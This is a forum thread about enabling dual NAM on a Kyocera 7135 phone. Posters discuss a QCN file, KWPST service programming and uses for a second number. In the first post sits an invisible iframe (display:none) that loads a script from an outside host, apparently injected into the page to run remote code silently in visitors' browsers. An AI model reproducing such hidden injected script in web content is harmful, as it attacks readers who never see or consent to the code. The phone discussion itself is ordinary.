This is part question and part informative....:biglaughc
There is a QCN file upgrade available for the 7135 in addition to the 29/44 upgrade. The QCN file apparently fixes or adds dual NAM funtionality.
This is the version I have.
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PRI Version: 7135_DUALNAM_REWORK_2.qcn
My question is whether or not the 7135 allowed dual NAM's prior to this? Or did it have any issues working properly?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
I have 23/36 and enabled the second NAM a week ago. I copied everything over from NAM1 for testing. Works great.
This was all done via KWPST Service Programming. The of the Kyocera docs says the 7135 is dual NAM capable, but Verizon has it disabled (at least for my phone).
Originally posted by SirTristan I have 23/36 and enabled the second NAM a week ago. I copied everything over from NAM1 for testing. Works great.
This was all done via KWPST Service Programming. The of the Kyocera docs says the 7135 is dual NAM capable, but Verizon has it disabled (at least for my phone).
This fix should enable the phone to handle dual nam's.
NAM - Number Assignment Module - a memory location for a cellular telephone number. The Kyo 7135 is dual-NAM capable, meaning it can have two cellular telephone numbers (only one can be active at a time).
So what you're saying is that with this NAM thing I can flip a switch and my phone receives calls to my wife's cellular phone number, for instance? Tell me more, please.
Originally posted by Peter So what you're saying is that with this NAM thing I can flip a switch and my phone receives calls to my wife's cellular phone number, for instance? Tell me more, please.
No... almost, but no. Your phone has an ESN -- an electrical serial number thats written in your phone with indellible ink. The cellular service provider keys everything off of that ESN. So when you activate your phone they put the ESN in the system (you can do that through the VZW web page now). Then they associate your plan (identified by your phone number) with that ESN.
The current deal is that (VZW anyway) they will let you associate multiple plans with a single phone but they won't let you associate multiple phones with a single plan. Get it? So you can't have your phone answer to your wife's number, even if her phone is turned off. What you can do is have a regular plan (say local digital choice) and a FREE-UP plan (with a different number) and use both with one phone. The catch is that you can only use your phone for 1 of the 2 numbers at a time. When you switch to NAM2 its as if you turned your phone off for NAM1 (calls would go straight to voice mail).
Originally posted by Quick No... almost, but no. Your phone has an ESN -- an electrical serial number thats written in your phone with indellible ink. The cellular service provider keys everything off of that ESN. So when you activate your phone they put the ESN in the system (you can do that through the VZW web page now). Then they associate your plan (identified by your phone number) with that ESN.
The current deal is that (VZW anyway) they will let you associate multiple plans with a single phone but they won't let you associate multiple phones with a single plan. Get it? So you can't have your phone answer to your wife's number, even if her phone is turned off. What you can do is have a regular plan (say local digital choice) and a FREE-UP plan (with a different number) and use both with one phone. The catch is that you can only use your phone for 1 of the 2 numbers at a time. When you switch to NAM2 its as if you turned your phone off for NAM1 (calls would go straight to voice mail).
-Quick
OK, thanks. So what's the point/advantage of that?
I meant there could be a problem if both numbers could be active on the phone at the same time (so if someone called either number it would ring). The problem being with outgoing calls .. if both numbers are active how would the phone know which number was calling out?
However the way I understand it to be setup now ... the phone would know which number was active because only one number can be active at a time.
right...
so i suppose you could forward one of the numbers to the other...
right?
hmm...
a business number on a free-up plan to give out, but forwarded to your personal number (which would remain the active NAM) or vice-versa...
would minutes ever be used on the "business" number?
back in the early days of analog and just as digital was starting to come out, Nam was useful to people who traveled. since unlimited minutes and huge bucket minute plans were not even born, roaming rates were sky high. i remember i went to valdosta GA for a couple of days and the rate was like 90 cents a minute PLUS a 3 dollar charge that was imposed every 24 hours of you being there. since I was roaming, it would have been good if i had a NAM in place so o could simply switch #'s (a local # in valdosta) and not incur any roman fees. that was the beauty of NAM.
but now, its not really needed since we can get huge daytime minutes and roaming is almost a memory...
Originally posted by marctronixx Nam's are virtually useless these days.
back in the early days of analog and just as digital was starting to come out, Nam was useful to people who traveled. since unlimited minutes and huge bucket minute plans were not even born, roaming rates were sky high. i remember i went to valdosta GA for a couple of days and the rate was like 90 cents a minute PLUS a 3 dollar charge that was imposed every 24 hours of you being there. since I was roaming, it would have been good if i had a NAM in place so o could simply switch #'s (a local # in valdosta) and not incur any roman fees. that was the beauty of NAM.
but now, its not really needed since we can get huge daytime minutes and roaming is almost a memory...
Exactly.
Here in So Cal we get customers who split their time between here and Mexico. They have service here and have a different service in Mexico. They just switch from Nam 1 to Nam 2 when they go South. They only need one phone.
Originally posted by SirTristan I have 23/36 and enabled the second NAM a week ago. I copied everything over from NAM1 for testing. Works great.
This was all done via KWPST Service Programming. The of the Kyocera docs says the 7135 is dual NAM capable, but Verizon has it disabled (at least for my phone).
Originally posted by SirTristan I have 23/36 and enabled the second NAM a week ago. I copied everything over from NAM1 for testing. Works great.
This was all done via KWPST Service Programming. The of the Kyocera docs says the 7135 is dual NAM capable, but Verizon has it disabled (at least for my phone).
OK, this is exactly what I wanted to do before and local Verizon tech. told me the Kyo didn't support dual NAMs. I currently have my Kyo (23/36 and 50102 PRL) with a 901 Area code (Memphis, TN) but I also have a Nokia 5185i on a 540 Area code (Stafford, VA) and the Nokia does have dual NAM, both phones on VZW. Of course I want the Kyo as my one and only phone. how can I get this done? I do not have access to the KWPST (but would love a copy, PM me.... ) and if I understand this correctly, I also need the qcn. Any help would be appreciated. I hate to carry 2 phones.
SW Version: SZ 1.0.19 MZ 1.0.34 [very stable]
PRI Version: 7135_USCPCO_MZ1034_P011.QCN
PRL Version: 39902 [not current for USCC]
ERI Version: no info
I would like to use USCC for voice and VZW for data. IF I could find a knowledgeable and cooperative VZW technician, I can envision opening a Verizon account with a PDA/Smartphone plan for EN. The technician would reconfigure the PRI with 7135_DUALNAM_REWORK_2.qcn. I think I understand switching phone service at Phone Prefs > Phone Service > Phone Line. Only one service (NAM) is active at a time. The benefit I gain is 1)coverage, 2)service rates, and 3)no network audit service shutoffs because of ESN/phone number conflict.
Here's the rub. I would need to carry two PRLs in the phone. When I switch from NAM1 to NAM2, 7135 would need to automagically pull up the associated PRL. Unless the Service Programming module changes during updating, I don't see anywhere to associate a PRL with a NAM.
Originally posted by crain Here's the rub. I would need to carry two PRLs in the phone. When I switch from NAM1 to NAM2, 7135 would need to automagically pull up the associated PRL. Unless the Service Programming module changes during updating, I don't see anywhere to associate a PRL with a NAM.
Not sure about the 7135 but every other phone I've had or heard about that supports multiple NAMs supports independent PRLs for each NAM. Otherwise it doesn't make much sense since most often the NAMs are for numbers on different carriers. I guess that didn't answer your question but I don't think you need to worry about if its possible... just how.
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